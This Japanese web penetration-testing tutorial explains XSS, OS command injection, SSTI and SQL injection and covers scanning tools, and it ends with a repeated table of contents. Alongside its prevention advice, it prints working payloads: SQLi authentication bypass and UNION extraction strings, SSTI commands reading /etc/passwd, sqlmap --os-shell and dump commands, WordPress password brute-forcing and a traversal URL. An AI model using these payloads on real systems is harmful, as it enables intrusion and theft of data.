https://miya-zato-shopping/search?word=<script>alert(1)</script>このように送るとXSSが起こる場合は反射型XSS

格納型XSS

格納型xssはwebサイトが蓄積しているコンテンツの中に含ませるXSS脆弱性のこと。具体的にはWebアプリケーションのデータベースなどに保存され、他のユーザーがサイトまたは Web ページにアクセスしたときに実行される。

データベースに保存された悪意のあるJavaScriptは、ユーザを別のサイトにリダイレクトしたり、ユーザーのセッションCookieを盗んだり、訪問ユーザとして動作しながら他のWebサイトのアクションを実行したりする可能性がある。

データが保存され、他のユーザーがアクセスできる領域に表示されていると思われるすべてのエントリポイントがそのポイントと考えられる。

ブログのコメント
ユーザプロファイル

格納型

例としては以下の場合は蓄積型XSSとなる。

データベースからこんにちは○○さん!と表示されるページがある
ユーザ名を<script>alert(1)</script>で登録する
上記JavaScriptがページで実行されれば、これが蓄積型XSSとなる。

DOM-Based XSS

DOM-Based XSSはDOMを操作し、意図しないスクリプトを出力させるXSS脆弱性のこと。 DOM-Based XSSには反射型XSS、格納型XSSはサーバからレスポンスされる際にスクリプトが出力されるのに対し以下の特徴がある。

攻撃を受けたユーザのブラウザで不正なスクリプトが実行された場合に必ずしもサーバに通信が飛ばない
攻撃を受けたユーザのブラウザ上でJavaScriptが実行されたタイミングで初めて不正なスクリプトが実行される

DOM-BASED

例として以下のコードがサイトのJavaScriptにある場合を例にとる。

div = document.getElementById("info");
div.innerHTML = location.hash.substring(1);

上記のJavaScriptを埋め込んだサイトにhttp://example.com/#<img src=1 onerror=alert(1)>でアクセスして読み込むと、<img src=1 onerror=alert(1)>が展開されクエリ文字のJavaScriptが実行されてしまう。

このとき、攻撃者が実際の攻撃のためのJavaScriptコードを含めていたlocation.hashのような箇所をソースと呼び、ソースに含まれる文字列を受け取り、文字列からJavaScriptを生成、実行してしまう箇所のことをシンクと呼ばれる。

Dom-Based XSSのソースになりえる処理は以下の通り。

location.hash
location.search
location.href
document.cookie
document.referrer
window.name
Web Storage
IndexedDB
XMLHttpRequest.responseText

シンクとして働く機能の代表例としては以下の通り。

HTMLElement.innerHTML
location.href
document.write
eval
setTimeout, setInterval
Function
jQuery(), $(), $.html()

ブラインドXSS

ブラインドXSSは格納型XSSに似ているがペイロードが動作しているか確認することやテストすることができないXSS。 XSS Hunter ExpressというツールがブラインドXSSの検証でよく使われる。

3.10. OSコマンドインジェクション

OSコマンドインジェクションはデバイス上のアプリケーションが実行されているのと同じ権限を使用しOS上でコマンドを実行するアプリケーションの動作を悪用することでシステムの乗っ取りやコード実行などが行える脆弱性のこと。

OSコマンドインジェクションは、アプリケーション内のコードをリモートで実行できるため、リモートコード実行(RCE)とも呼ばれる。これらの脆弱性は攻撃者が脆弱なシステムと直接対話できることを意味するので、多くの場合攻撃者にとって最も恩恵が得られる攻撃といえる。この攻撃では攻撃者はシステムまたはユーザーのファイル、データ、およびその性質のものを読み取ることができる可能性がある。

3.10.1. OSコマンドインジェクションの原理

phpで書かれた「入力値のファイル内検証のコード」を例にとる。

<?php
$songs = "/var/www/html/songs"

if (isset $_GET["title"]) {
   $title = $_GET["title"];

   $command = "grep $title /var/www/html/songtitles.txt":

   $search = exec($command);
   if ($search == ""){
      $return "<p>リクエストされた $title は曲リストに含まれていません。</p>";
   } else {
      $return "<p>リクエストされた $title は極リストに含まれています。</p>";
   }

   echo $return;
}
?>

上記例では入力値($title)にアプリケーションを実行するための独自のコマンドを挿入することで、このアプリケーションを悪用する可能性がある。具体的にはgrepを使用してsongstitles.txtより機密性の高いファイルからデータを読み取るようにすることができる。

3.10.2. OSコマンドインジェクションの検知

OSコマンドインジェクションを確かめるにはシェル演算子;および&は&&(またはそれ以上) のシステムコマンドを組み合わせて両方をURLで実行すると行える。具体的な検出方法は以下の2通りある。

方法	説明
ブラインド法	ペイロードのテスト時にアプリケーションからの直接出力がない方法。ペイロードが成功したかどうかを判断するには、アプリケーションの動作を調査する必要がある。
冗長法	ペイロードのテスト後にアプリケーションから直接フィードバックが得られる方法。WEBアプリケーションはコマンド結果をページにそのまま出力する。

ブラインド法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果出力は表示されないため、結果が分かりづらい。これはWEBアプリケーションがメッセージを出さないためである。このタイプのコマンドインジェクションを検知する方法は2通りある。

ある程度の時間遅延を引き起こすペイロードを使用する方法 * pingやsleepコマンドがその例で、オプションで指定した数だけアプリケーションがハングアップするため確認できる
出力を無理やり強制する方法 * >などのリダイレクト演算子を使用して実行する * 例としてwhoamiを実行させたい場合はwhoami > catなどを利用する * Linux と Windows ではコマンドの構文が異なるため数多い試行が必要になるケースがある

またcurlコマンドはOSコマンドインジェクションをテストするのに優れた方法といえる。これはペイロード内のアプリケーションとの間でデータの受け渡しに使用しやすいためである。

curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

冗長法によるOSコマンドインジェクションの検出

この方法ではOSコマンドインジェクションの結果がWEBアプリケーションの出力に直接表示されるので分かりやすいのが特徴といえる。

3.10.3. OSコマンドインジェクションに役立つペイロード集

Linux と Windows の両方の貴重なペイロードを以下に記載する。

Linuxペイロード	説明
whoami	アプリケーションがどのユーザーで実行されているかを確認できる。
ls	現在のディレクトリの内容を一覧表示する
ping	このコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
sleep	これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
nc	Netcat を使用すると、脆弱なアプリケーションにリバースシェルを生成できる。これを使用してターゲットマシン内を移動し他のサービス、ファイル、または権限を昇格する可能性のある手段を見つけることが可能

Windowsペイロード	説明
whoami	アプリケーションがどのユーザーで実行されているかを確認できる。
dir	現在のディレクトリの内容を一覧表示する
ping	このコマンドはアプリケーションを起動してハングさせる。これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。
timeout	これはアプリケーションのブラインドコマンドインジェクションをテストする場合に役立つ。

3.10.4. OSコマンドインジェクション脆弱性の阻止

PHPの場合は以下関数がデフォルトではシェル経由でコマンドを実行できるので脆弱性となりえる。

exec
passthru
system

またOSコマンドインジェクションを防ぐには入力値のサニタイズを行う必要がある。 PHPの場合はfilter_input関数を利用して入力値がデータか数字か検証できたりするので、こういった機能を利用する。

またコマンドインジェクションチートシートはコチラから。

3.11. サーバーサイドテンプレートインジェクション(SSTI)

Server Side Template Injection (SSTI) は、テンプレートエンジンの安全でない実装を利用する脆弱性のこと。

SSTIはサーバー側のエクスプロイトであり、ハイジャックされる可能性があるため、脆弱性がさらに重大であることを意味する。主な目的は通常、リモートでコードを実行できるようにすることができる。

テンプレートエンジン: Web フレームワークに使用されているデータの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジンのこと

3.11.1. SSTIの検出

SSTIのインジェクションポイントはURL や入力ボックスとなる。これらのポイントでファジング(複数の文字を送信することで、サーバーが脆弱かどうかを判断する)を行うことで判定をする。 SSTIを検出できる可能性の高い文字列(特殊文字のシーケンス)は以下の通り。

${{<%[%'"}}%\

URLエンコードツールはコチラから。

URLに入れる例

入力パラメータを変更して脆弱性を確認する

http://[IPアドレス]:5000/home/${

http://vulnerable-website.com/?greeting=data.username}}sername

入力フィールドに入れる例

サーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別してることを確認する。

{{5*5}}

${{5*5}}

3.11.2. テンプレートエンジンの識別

SSTIの検出が行えたら、次はどのテンプレートエンジンが使用されているかを特定する。 デジジョンツリーという識別マップに従うのが良い。ツリーは以下の通り。

${7*7}
- a{*comment*}b => $marty
  - ${"z".join("ab")} => Mako
    - => Unknown
- {{7*7}}
  - {{7*'7'}} => Jinja2 or Twig or Unknown
    - => Unknown

3.11.3. テンプレートエンジンの構文

各テンプレートエンジンのSSTIはコチラを参照。

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.mdも使える。

Java

// Basic
${7*7}
${{7*7}}
//Jinja2
{% <コード> %}

JavaScript

//Lodash
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>

Python

# Mako
<% <コード> %>
${<コード>}

PHP

# Twig
{system('ls')}
{system('cat index.php')}
# Smarty
{{7*7}}

Ruby

7*7の部分にsystem("実行コード");などを記述するとエクスプロイトのコードになる。

# ERB
<%= 7*7 %>
# Slim
#{ 7*7 }

活用形は以下

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>

3.11.4. TInjAによるSSTI解析の自動化

github:https://github.com/Hackmanit/TInjA

3.12. SQLインジェクション

SQLインジェクションは悪意のあるSQLクエリを実行させるWebアプリケーションデータベースサーバーに対する攻撃のこと。 Webアプリケーションが、十分に検証されていないユーザ入力を使用してデータベースと通信する場合、攻撃者が個人データや顧客データを盗んだり、削除したり、変更したり、Web アプリケーションの認証方法を攻撃して不正にデータベースを操作する可能性がある。

SQLを使用するWebアプリケーションがSQLインジェクションの脆弱性にさらされるのはユーザーが提供したデータがSQLクエリに含まれるときである。

SQLインジェクション

3.12.1. SQLインジェクションの種類

インバンドSQLインジェクション

インバンドSQLインジェクションは検出して悪用するのが最も簡単なタイプのSQLインジェクション。インバンドは脆弱性を悪用し結果を受け取るために使用されるのと同じ通信方法を指す。 Webサイトのページで SQLインジェクションの脆弱性を発見し、データベースから同じページにデータを抽出できるのが特徴である。

エラーベースのSQLインジェクション

このタイプのSQLインジェクションはデータベースからのエラーメッセージがブラウザ画面に直接出力されるため、データベース構造に関する情報を簡単に取得するのに役立つ。このタイプはデータベース全体を列挙するためによく使用される。

UNIONベースのSQLインジェクション

UNIONベースのインジェクションでは、SQL UNION 演算子を SELECT ステートメントとともに利用して、追加の結果をページに返させる。この方法は、SQLインジェクションの脆弱性を利用して大量のデータを抽出する最も一般的な方法といえる。

SQLインジェクションによる認証突破

認証ページのユーザID/パスワードの入力画面で' or 'a'='aなどを入力すると認証をバイパスする場合は、SQLインジェクションによる認証突破といえる。これはSQL文が以下のようになるため起きる。

-- 以下記述により常にWHERE句が成立してしまう
SELECT * FROM users WHERE id = 'Username' and pwd = '' OR 'a'='a'

3.12.2. SQLインジェクションのSQL文

基本的なSQLインジェクション

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--

UNIONベースのSQLインジェクション

UNION攻撃に必要な列数の決定
- ' ORDER BY 1--や' ORDER BY 2--などで列数の決定
UNION攻撃で有用なデータ型の列を見つける
- UNION SELECT 'a',NULL,NULL,NULL--など(aの位置を変える)
DBバージョンの取得
- ' union select version(),null,null,null #
DB名の取得
- ' UNION SELECT DATABASE(),NULL,NULL,NULL#
テーブルの取得
- ' union select table_name,null from information_schema.tables
- ' union select table_name,null from information_schema.tables where table_schema = '<4で判明したDB名>'#
テーブルのカラムを参照
- ' union select table_name,column_name from information_schema.columns #
- ' union select table_name,column_name from information_schema.columns where table_schema = '<4で判明したDB名>'#
データの取得
- ' union select user,password from <DB名>.<テーブル名> #

3.12.3. SQLインジェクションの阻止

SQLインジェクションをソフトウェア開発者が防ぐには以下工夫が必要となる

プレースホルダによるSQL文の組み立て
パラメーター化されたクエリを使用したSQLステートメント(プリペアードステートメント)
入力値の検証(許可リストの使用など)
ユーザー入力のエスケープ(' " $ \ など)

3.12.4. SQLmapによるSQLインジェクションの自動化

SQLmapはSQLインジェクションの欠陥を検出して悪用し、データベースサーバを乗っ取るプロセスを自動化するツール。以下のDBMSをサポートしている。

MySQL
Oracle SQL
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB

コマンド

sqlmap -u "https://localhost/?id=1&opt=test" -p "id"

オプション	概要
-u	攻撃対象のURL
-p	攻撃対象のパラメータ名
--data	`--data="user=x&password=y"`などでパスワードなどを指定
--dbms	データベースの種類（指定したDBの攻撃値のみに絞って挿入）
--dump	テーブル情報を取得
--dump-all	全てのテーブル情報を取得
-r <ファイル名>	HTTPリクエストデータを指定して実行する
--os-shell	シェルの取得
--risk	攻撃値の網羅性レベル。1〜3の範囲で指定する。 1：基本的な攻撃値のみ（デフォルトの設定） 2：time-based SQL injectionの攻撃値も試す。 3：OR-based SQL injectionの攻撃値も試す
--level	検査対象となるパラメータの範囲。1〜5の範囲で指定する。 1：基本的なパラメータを検査（デフォルトの設定） 2：Cookieのパラメータも検査対象にする。 3：「User-Agent」ヘッダや「Referer」ヘッダも検査対象にする
--proxy	プロキシの設定
--delay	各リクエスト間で遅延させる時間（秒）
--cookie	クッキーの設定

よく使うコマンド

# SQLインジェクション/コマンドインジェクション
sqlmap -u "https://[IPアドレス]/?id=1" --cookie="ID=hogehoge" --os-shell
# データベース一覧取得
sqlmap -u "https://[IPアドレス]/?id=1" --dbs
# データベース内に存在するテーブル一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] --tables
# テーブルが保持するカラム一覧の取得
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] --columns
# テーブルが保持するデータを表示
sqlmap -u "https://[IPアドレス]/?id=1" -D [データベース名] -T [テーブル名] -C [カラム1],[カラム2],... --dump

リクエストファイルを使用してsqlmapを使用する場合は以下の通り。

# データベース一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] --dbs
# DBの一覧取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] --tables
# テーブルの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] --columns
# カラムからデータの取得
sqlmap -r [リクエストファイル] -p [パラメータ] --batch --level 5 --risk 3 --dbms=[RDBMSシステム] -D [データベース] -T [テーブル] -C [カラム] --dump

HTTP Getベースの列挙

以下のようなHTTPリクエストを含むテキストファイルを用意する。

POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close

blood_group=B%2B

以下コマンドでデータベース列挙を試みる。

sqlmap -r <リクエストファイル> -p <脆弱なパラメータ> --dbs

3.13. CMSへの侵入

様々なCMSがあるが、そのCMS特有のファイルの確認事項、スキャン方法を記載する。

3.13.1. WPScan

WPScanは、WordPress サイトに存在するいくつかのセキュリティ脆弱性カテゴリを列挙して調査することができるスキャンツール。

基本的な使い方

# アップデート
wpscan --update

# ユーザの列挙
wpscan --url <url> -e u
# 脆弱なTheme特定
wpscan --url <url> -e vt
# 脆弱なプラグイン特定
wpscan --url <url> -e vp

# 上記3つスキャン+ファイル出力
wpscan --url <url> -e u,vt,vp -o <output filename>

# アグレッシブスキャン
wpscan --url <url> -e u,vt,vp --plugins-detection aggressive

# リスト型攻撃/パスワード推測攻撃(デフォルトログインページの必要)
# wp-login.phpページと有効になっている場合XMLRPCインタフェースを介したブルートフォースをサポートする
wpscan --url [ドメイン名など] --passwords /usr/share/wordlist/rockyou.txt
wpscan --url http://test.com/ --usernames admin --passwords /usr/share/wordlist/rockyou.txt

url...対象のURL指定
-e
- u...usernameの列挙
- vt...脆弱なテーマを列挙
- at...全てのテーマを列挙
- vp...脆弱性のあるプラグインを列挙
- ap...全てのプラグインを列挙
-o...ファイル出力

オプション	説明	例
p	プラグインを列挙	--enumerate p
t	テーマを列挙	--enumerate t
u	ユーザー名を列挙する	--enumerate -u
v	WPVulnDB を使用して脆弱性を相互参照	--enumerate vp
aggressive	WPScan が使用する積極性プロファイル	--plugins-detection aggressive

3.13.2. Nikto

Niktoは脆弱性スキャンツールでWebサーバーの設定やインストールされたWebアプリケーションのバージョンなどを調べることができるツール。 Nikto は WPScanと異なり、あらゆる種類のWebサーバを評価できる。

基本的な使い方

nikto -h <IPアドレス | ホスト名>
# HTMLレポートファイルを保存する場合
nikto -h <IPアドレス | ホスト名> -o <レポート名>.html

複数のホストとポートのスキャン

Nmap (デフォルトの Web ポート 80 を使用) で 172.16.0.0/24 (サブネットマスク 255.255.255.0、結果として 254 のホストが考えられる) をスキャンし、次のように Nikto への出力を解析する例は以下の通り。

nmap -p80 172.16.0.0/24 -oG - | nikto -h -

Niktoのプラグイン

-Pluginオプションで設定する。

プラグイン名	説明
apacheusers	Apache HTTP 認証ユーザーの列挙を試みる
cgi	悪用できる可能性のある CGI スクリプトを探す
robots	どのファイル/フォルダーに移動できるかを示す robots.txt ファイルを分析する
dir_traversal	ディレクトリトラバーサル攻撃 ( LFI ) を使用してLinux 上の /etc/passwd などのシステムファイル (http://ip_address/application.php?view=../../../../../../../etc/passwd)を検索しようとする

スキャンの詳細表示

-Display [数字]オプションでNikto スキャンの冗長性を高めることができる。

数字	説明	使用理由
1	Web サーバーによって提供されるリダイレクトを表示	Web サーバーは私たちを特定のファイルまたはディレクトリに再配置したい場合があるため、これに応じてスキャンを調整する必要がある
2	受信した Cookie を表示する	アプリケーションは多くの場合、データを保存する手段として Cookie を使用する。たとえば、Web サーバーはセッションを使用し、電子商取引サイトでは商品を Cookie としてバスケットに保存することがあります。資格情報は Cookie に保存することもできます。
3	エラーがあれば出力する	これは、スキャンで期待した結果が返されない場合のデバッグに役立つ

脆弱性検索のためのスキャンの調整

-Tuning [数字]オプションでテストするスキャンを指定できる。

種別名	説明	数字
ファイルのアップロード	ファイルのアップロードを許可するものを Web サーバー上で検索する。アプリケーションを実行するためのリバースシェルをアップロードするために使用できる。	0
設定ミス/デフォルトファイル	Web サーバー上で機密性の高い (構成ファイルなどアクセスできない) 共通ファイルを検索する。	2
情報開示	Web サーバーまたはアプリケーションに関する情報 (つまり、バージョン番号、HTTPヘッダー、または後で攻撃に利用するのに役立つ可能性のある情報) を収集する。	3
注射	XSSや HTML などの何らかのインジェクション攻撃を実行できる可能性のある場所を検索する。	4
コマンドの実行	OSコマンドの実行 (シェルの生成など)を許可するものを検索する。	8
SQLインジェクション	SQLインジェクションに対して脆弱な URL パラメータを持つアプリケーションを探す	9

3.13.3. Wig

WigはCMSやその他の管理アプリケーションを識別できるWeb アプリケーション情報収集ツール。

なお現行(2024年現在)はWappalyzerなどを使用する方が検出が速い。

wig は、「server」ヘッダーと「x-powered-by」ヘッダーに基づいてサーバー上のOSを推測しようとする。さまざまなOSの既知のヘッダー値を含むデータベースがWigに含まれているため、Wigは Microsoft Windows のバージョンと Linux のディストリビューションとバージョンを推測できる。

wig <IPアドレス>

3.13.4. Skipfish

SkipfishはGoogleにより開発されたWebアプリケーション情報収集ツール。高速な脆弱性スキャンを行うことができる。

基本的な使い方

# 使い方1
skipfish -o <レポート保管先> <対象URL>
# 使い方2
skipfish -W ＜キーワード辞書の保存先ファイル＞ -o ＜レポートの出力先ディレクトリ＞ ＜クロールを開始するURL＞ [＜クロールを開始するURL2＞ ...]

3.13.5. Wapiti

WapitiはCUIベースのWeb脆弱性スキャナーで、データベースインジェクションやXSS、XXEインジェクションなどを検索できる。

基本的な使い方

# モジュール一覧表示
wapiti --list-modules
# スキャンの実行
wapiti -u <URL | IPアドレス> -o <出力ファイル名> -f html

3.13.7. 各CMSにおける確認事項

Wordpress

Wordpressにて確認すべきパスとファイルは以下の通り

# ===============================
# WordPressのバージョン確認
/license.txt

# ログインページ
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php

# データベースのパスワードあり
wp-config.php

# ===============================
# ユーザの列挙
/?author=<数字>

/wp-json/wp/v2/users

またNSEによるユーザ列挙は以下のコマンドで可能。

nmap -p 80 --script http-wordpress-users <IPアドレス>

Drupal

/CHANGELOG.txt

DroopescanによるDrupalのスキャン

# インストール
pip3 install droopescan

# スキャン
droopescan scan drupal -u http://10.10.10.1 -t [スレッド数]

PhpMyAdmin

MySQLサーバをWebブラウザで管理するためのデータベース接続ツール。

Joomla

JoomScanによるJoomlaのスキャン。

sudo joomscan -u <URL>

なおスキャン結果は/usr/share/joomscan/に保存される。

3. WEBサイトへの侵入

3.1. Webページへの侵入手順

3.1.1. Webサイトへのアクセス準備

3.1.2. Webサイトの各チェック項目

3.2. サイトコンテンツの偵察

3.2.1. robots.txtによるサイトコンテンツの推測

3.2.2. faviconによるフレームワークの特定

3.2.3. sitemap.xmlによるサイトコンテンツの推測

3.2.4. curlコマンドによるサーバソフトウェアの推測

3.2.5. Google Dorksによるサイトコンテンツの推測

3.2.6. Wappalyzerによるサイト使用技術の推定

3.2.7. Wayback Machineによる過去ページの確認

3.2.8. 自動化ツールによる自動検出。

3.3. サブドメインの列挙

3.3.1. SSL/TLS証明書による検出

3.3.2. Google Dorksによる検出

3.3.3. 自動化ツールによる検出

3.3.4. バーチャルホストを利用した検出

3.4. ディレクトリの調査

3.4.1. Dirbuster

よく使うコマンド

3.4.2. gobuster

モード

よく使うコマンド

3.4.3. Wfuzz

よく使うコマンド

3.4.4. FFUF

よく使うコマンド

3.4.5. Kali Linuxで使えるワードリスト

3.4.6. Webサイトのコンテンツから辞書ファイルを作る

3.5. ユーザ認証の突破

3.5.1. ffufによる認証突破

ユーザ名列挙

パスワードの総当たり攻撃

3.5.2. hydraによる認証突破

ユーザ名とパスワードリストによる認証の総当たり攻撃

3.5.3. 認証メカニズムの不具合の利用

3.5.4. Cookieの改ざん

Cookieのハッシュ化

エンコーディング

3.5.5. CeWLによる認証用の辞書ファイル作成

3.6. IDORによるページへの不正アクセス

3.6.1. IDORとは

3.6.2. IDORの場所

3.6.3. IDORの調査

エンコードされたIDによる調査

ハッシュ化されたIDによる調査

予測できないIDを調査する方法

3.7. ファイルインクルードの脆弱性

3.7.1. ファイルインクルードとは

3.7.2. ディレクトリトラバーサル

ディレクトリトラバーサルの発生原因

ドットスラッシュ攻撃

3.7.3. ローカルファイルインクルージョン(LFI)

PHPの場合

3.7.4. リモートファイルインクルージョン(RFI)

3.7.5. ファイルインクルージョン脆弱性を防ぐ方法

PHPの場合

3.8. SSRFの脆弱性

3.8.1. SSRFとは

3.8.2. SSRFの突破

SSRFの発見

SSRFを突破する

3.9. XSSの脆弱性

3.9.1. XSSペイロード

XSS脆弱性の試行

Sessionの盗用

キーロガー

メールアドレスの変更によるパスワードリセット攻撃

3.9.2. XSSの種類

反射型XSS

格納型XSS

DOM-Based XSS

ブラインドXSS

3.10. OSコマンドインジェクション

3.10.1. OSコマンドインジェクションの原理

3.10.2. OSコマンドインジェクションの検知

ブラインド法によるOSコマンドインジェクションの検出

冗長法によるOSコマンドインジェクションの検出

3.10.3. OSコマンドインジェクションに役立つペイロード集